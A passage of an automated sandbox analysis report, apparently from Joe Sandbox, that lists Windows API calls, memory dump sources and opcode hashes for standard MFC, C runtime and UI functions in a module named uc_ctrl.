                                                                                              • FindResourceW.KERNEL32(?,00000000,AFX_DIALOG_LAYOUT), ref: 6CF99171
                                                                                              • SizeofResource.KERNEL32(?,00000000), ref: 6CF99183
                                                                                              • LoadResource.KERNEL32(?,?), ref: 6CF99190
                                                                                              • LockResource.KERNEL32(00000000), ref: 6CF9919D
                                                                                              • FreeResource.KERNEL32(00000000), ref: 6CF991C2
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Resource$FindFreeLoadLockSizeofWindow
                                                                                              • String ID: AFX_DIALOG_LAYOUT
                                                                                              • API String ID: 4180966417-2436846380
                                                                                              • Opcode ID: 15fc199c35bc0626062fd8112bb2f050470bd5333b7aca650d12046978d04813
                                                                                              • Instruction ID: 7cefec9644d0e7d9d2af667d447edd76abc20cfcbc8e20ab10d0279826c139b4
                                                                                              • Opcode Fuzzy Hash: 15fc199c35bc0626062fd8112bb2f050470bd5333b7aca650d12046978d04813
                                                                                              • Instruction Fuzzy Hash: F421A875901204AFEF01DFA498887BE7BF8FB49215F22406AED18D3650EF318A45D751
                                                                                              Function 6CF91613 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 50libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6CF91625
                                                                                              • GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 6CF91635
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF9163E
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF9164C
                                                                                              • CompareStringW.KERNEL32(00000000,?,?,?,?,?), ref: 6CF91693
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressCompareDecodeEncodeHandleModuleProcString
                                                                                              • String ID: CompareStringEx$kernel32.dll
                                                                                              • API String ID: 866791306-948622644
                                                                                              • Opcode ID: b17c8521be7a3f963513ab9f97c22b8ea34a32a68d8d9ed10561a1950ab784c5
                                                                                              • Instruction ID: fb64c6b3d6471196f66985bd3ea85b3f805e362bb947fdc014d40adb3c0026a5
                                                                                              • Opcode Fuzzy Hash: b17c8521be7a3f963513ab9f97c22b8ea34a32a68d8d9ed10561a1950ab784c5
                                                                                              • Instruction Fuzzy Hash: 82010C76901219BFEF029FA0DD08AAE3F7EEB093657148021FE1596120DB75C821DBA1
                                                                                              Function 6CF9169C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(uxtheme.dll), ref: 6CF916AE
                                                                                              • GetProcAddress.KERNEL32(00000000,DrawThemeTextEx), ref: 6CF916BE
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF916C7
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF916D5
                                                                                              • DrawThemeText.UXTHEME(?,?,?,?,?,?,?,00000000,?), ref: 6CF91721
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressDecodeDrawEncodeHandleModuleProcTextTheme
                                                                                              • String ID: DrawThemeTextEx$uxtheme.dll
                                                                                              • API String ID: 1727381832-3035683158
                                                                                              • Opcode ID: 22f70a8793765c7974c788f050f329e17e14ed53aef8dac09809d7eb44f4b0ff
                                                                                              • Instruction ID: 52e2007ef534d23c68cb9eadef0d002d43a666e8d375eae3b34e4024651e148e
                                                                                              • Opcode Fuzzy Hash: 22f70a8793765c7974c788f050f329e17e14ed53aef8dac09809d7eb44f4b0ff
                                                                                              • Instruction Fuzzy Hash: A011A53650121ABBDF025F91DC08AEA3F7AFF0D665B158124FE54A1520C736D861AB91
                                                                                              Function 6CEF9D21 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF9D28
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6CEF9D33
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CEF9D4B
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000), ref: 6CEF9D85
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CEF9DAD
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
                                                                                              • String ID: Vl
                                                                                              • API String ID: 2931747682-1429834518
                                                                                              • Opcode ID: add69787d0e302a70af0436c482ce92599c380c49db86e1c8f65bb7193f74f43
                                                                                              • Instruction ID: 5a41e1d4a5139f04bec3956e8324ff33bb57c90d23457b79219612a4419ccc73
                                                                                              • Opcode Fuzzy Hash: add69787d0e302a70af0436c482ce92599c380c49db86e1c8f65bb7193f74f43
                                                                                              • Instruction Fuzzy Hash: 38019E35B102118BCB05EB64C8602EDB672AF89759F350528C421ABB81DF7A9E0A9B95
                                                                                              Function 6CEFFC10 Relevance: 12.2, APIs: 8, Instructions: 184COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFFC17
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000030), ref: 6CEFFC26
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEE632C: __EH_prolog3.LIBCMT ref: 6CEE6333
                                                                                                • Part of subcall function 6CEE632C: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000,?), ref: 6CEE633E
                                                                                                • Part of subcall function 6CEE632C: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000,?), ref: 6CEE6356
                                                                                                • Part of subcall function 6CEE632C: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000,?), ref: 6CEE63BA
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEFFC42
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3$??1_?getloc@ios_base@std@@Bid@locale@std@@Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 3655460422-0
                                                                                              • Opcode ID: 4f54cd0dd748f48f3398678b289062870a25721e7f93c2a41112ab00a36fa334
                                                                                              • Instruction ID: 9a611b67de0a2fe6b33c72c35a02a1e3b6be87629dfb433f815c5041941b7e86
                                                                                              • Opcode Fuzzy Hash: 4f54cd0dd748f48f3398678b289062870a25721e7f93c2a41112ab00a36fa334
                                                                                              • Instruction Fuzzy Hash: 6D71AE349042899FCF11CFA4C860BED7FF1BF09358F248189E8A127761D735AA56CBA1
                                                                                              Function 6CFC0C7B Relevance: 12.2, APIs: 8, Instructions: 165windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 6CFF836C: IsWindow.USER32(?), ref: 6CFF8378
                                                                                              • SendMessageW.USER32(?,00000010,00000000,00000000), ref: 6CFC0E23
                                                                                                • Part of subcall function 6CFF6D4D: GetClientRect.USER32(00000000,6CFC0CBC), ref: 6CFF6D7C
                                                                                                • Part of subcall function 6CFF6D4D: PtInRect.USER32(6CFC0CBC,?,?), ref: 6CFF6D96
                                                                                              • ScreenToClient.USER32(00000000,?), ref: 6CFC0D06
                                                                                              • PtInRect.USER32(?,?,?), ref: 6CFC0D16
                                                                                              • SendMessageW.USER32(?,00000010,00000000,00000000), ref: 6CFC0D42
                                                                                              • GetParent.USER32(?), ref: 6CFC0D6A
                                                                                              • SendMessageW.USER32(?,00000010,00000000,00000000), ref: 6CFC0DE1
                                                                                              • GetFocus.USER32 ref: 6CFC0DE7
                                                                                              • SendMessageW.USER32(?,00000010,00000000,00000000), ref: 6CFC0E44
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageSend$Rect$Client$FocusParentScreenWindow
                                                                                              • String ID:
                                                                                              • API String ID: 4216724418-0
                                                                                              • Opcode ID: 9146797a4a8b2d80b113c3573f936bacde295822a829a3e05ee08b91314a5a40
                                                                                              • Instruction ID: 19b7c3aacd639d170ced493ad3be47d077447ec308cd25fa921f4535487c043f
                                                                                              • Opcode Fuzzy Hash: 9146797a4a8b2d80b113c3573f936bacde295822a829a3e05ee08b91314a5a40
                                                                                              • Instruction Fuzzy Hash: C8518EB1740256ABDF149F60C944BAE7775EF48708F200069EC15E7B50DFB0E912CA96
                                                                                              Function 6CF9AFE8 Relevance: 12.1, APIs: 8, Instructions: 137windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetClientRect.USER32(?,?), ref: 6CF9B02C
                                                                                              • BeginDeferWindowPos.USER32(00000008), ref: 6CF9B042
                                                                                              • GetTopWindow.USER32(?), ref: 6CF9B054
                                                                                              • GetDlgCtrlID.USER32(00000000), ref: 6CF9B05D
                                                                                              • SendMessageW.USER32(00000000,00000361,00000000,00000000), ref: 6CF9B095
                                                                                              • GetWindow.USER32(00000000,00000002), ref: 6CF9B09E
                                                                                              • CopyRect.USER32(?,?), ref: 6CF9B0B9
                                                                                              • EndDeferWindowPos.USER32(00000000), ref: 6CF9B145
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$DeferRect$BeginClientCopyCtrlMessageSend
                                                                                              • String ID:
                                                                                              • API String ID: 1228040700-0
                                                                                              • Opcode ID: 802dc95bef7bc5ec50cce6013203639db1d79ef4e011b26af8cdf5a8e663cf7c
                                                                                              • Instruction ID: 012c895ade14091afcb48dbb0878d5ac297a93208f645a182d1776c22d7f0ff7
                                                                                              • Opcode Fuzzy Hash: 802dc95bef7bc5ec50cce6013203639db1d79ef4e011b26af8cdf5a8e663cf7c
                                                                                              • Instruction Fuzzy Hash: 2A515872900209DFEF20CFA4C884BEEB7B5BF49324F25485AE815B7650DB74A984CB65
                                                                                              Function 6CEF1F40 Relevance: 12.1, APIs: 8, Instructions: 101COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF1F47
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000000C), ref: 6CEF1F58
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEEE064: __EH_prolog3.LIBCMT ref: 6CEEE06B
                                                                                                • Part of subcall function 6CEEE064: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE56F,00000010,?,?,00000000), ref: 6CEEE076
                                                                                                • Part of subcall function 6CEEE064: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6CEEE08E
                                                                                                • Part of subcall function 6CEEE064: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6CEEE0F2
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEF1F71
                                                                                              • ?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(?,?,?,00000000,00000017,?,00000000,0000000C), ref: 6CEF1F8B
                                                                                              • ?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,00000000,?,00000000,0000003B,?,00000000), ref: 6CEF1FDD
                                                                                                • Part of subcall function 6CEF8AFE: ?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,6CEFA40A,?,?,?,?,?,6CEEF3F7,00000014), ref: 6CEF8B07
                                                                                              • ?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,00000000,?,00000000,0000003B,?,00000000), ref: 6CEF2030
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$V?$istreambuf_iterator@_$Getint@?$time_get@_V?$ctype@_W@2@@W@std@@@2@0W@std@@@std@@@std@@$H_prolog3$??1_?getloc@ios_base@std@@?sgetc@?$basic_streambuf@_Bid@locale@std@@Lockit@std@@Vlocale@2@W@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 188001209-0
                                                                                              • Opcode ID: bc4ed424bd94db33cbdf64049b908a2319d9693edd2aad939d7b2f64ee56f5d4
                                                                                              • Instruction ID: 44ead667ee214b4945cadb6434cd3b2b41992ec66ff9476d0e2d13ab00b3d8c9
                                                                                              • Opcode Fuzzy Hash: bc4ed424bd94db33cbdf64049b908a2319d9693edd2aad939d7b2f64ee56f5d4
                                                                                              • Instruction Fuzzy Hash: 12318CB160020AAFEB14DF64CC51BEE3779AF04318F204259F925AB791EB74DE16CB64
                                                                                              Function 6CEEFA70 Relevance: 12.1, APIs: 8, Instructions: 101COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEEFA77
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000000C), ref: 6CEEFA88
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEED96D: __EH_prolog3.LIBCMT ref: 6CEED974
                                                                                                • Part of subcall function 6CEED96D: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEA4F,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEED97F
                                                                                                • Part of subcall function 6CEED96D: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEED997
                                                                                                • Part of subcall function 6CEED96D: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEED9FB
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEEFAA1
                                                                                              • ?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(?,?,?,00000000,00000017,?,00000000,0000000C), ref: 6CEEFABB
                                                                                              • ?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,00000000,?,00000000,0000003B,?,00000000), ref: 6CEEFB0D
                                                                                                • Part of subcall function 6CEF8AFE: ?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,6CEFA40A,?,?,?,?,?,6CEEF3F7,00000014), ref: 6CEF8B07
                                                                                              • ?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,00000000,?,00000000,0000003B,?,00000000), ref: 6CEEFB60
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$V?$istreambuf_iterator@_$Getint@?$time_get@_V?$ctype@_W@2@@W@std@@@2@0W@std@@@std@@@std@@$H_prolog3$??1_?getloc@ios_base@std@@?sgetc@?$basic_streambuf@_Bid@locale@std@@Lockit@std@@Vlocale@2@W@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 188001209-0
                                                                                              • Opcode ID: 0d1c8d8e6b062530c2b5b9ce0413651b6bf79edf67f6f5fac534a562a749692f
                                                                                              • Instruction ID: 18ec0fcfdb5befc780c42a191eba4710fdbbcb47fba8cbfe6f8580d720d02447
                                                                                              • Opcode Fuzzy Hash: 0d1c8d8e6b062530c2b5b9ce0413651b6bf79edf67f6f5fac534a562a749692f
                                                                                              • Instruction Fuzzy Hash: DF318D7060021AAFDB14DF64DC61FEE3779AF08318F200259F915AB790EB789E15CB64
                                                                                              Function 6D031746 Relevance: 12.1, APIs: 8, Instructions: 97COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ScreenToClient.USER32(?,?), ref: 6D031761
                                                                                              • GetParent.USER32(?), ref: 6D031778
                                                                                              • GetClientRect.USER32(?,?), ref: 6D0317BC
                                                                                              • MapWindowPoints.USER32(?,?,?,00000002), ref: 6D0317CE
                                                                                              • PtInRect.USER32(?,?,?), ref: 6D0317DE
                                                                                              • GetClientRect.USER32(?,?), ref: 6D03180B
                                                                                              • MapWindowPoints.USER32(?,?,?,00000002), ref: 6D03181D
                                                                                              • PtInRect.USER32(?,?,?), ref: 6D03182D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Rect$Client$PointsWindow$ParentScreen
                                                                                              • String ID:
                                                                                              • API String ID: 1944725958-0
                                                                                              • Opcode ID: 10c6f1f4ddc8e5dc131f932b1adfb8336794459f3213b4e1f21e8fd24ab2c073
                                                                                              • Instruction ID: b6395882202e7509d353fef25327752e822ef9da6c8cfd31e30b24562dd47ce9
                                                                                              • Opcode Fuzzy Hash: 10c6f1f4ddc8e5dc131f932b1adfb8336794459f3213b4e1f21e8fd24ab2c073
                                                                                              • Instruction Fuzzy Hash: 16318F76A0021AAFDF019FA4C844ABEBBB9FF4D710B11452AED55E7210EB31D900CB92
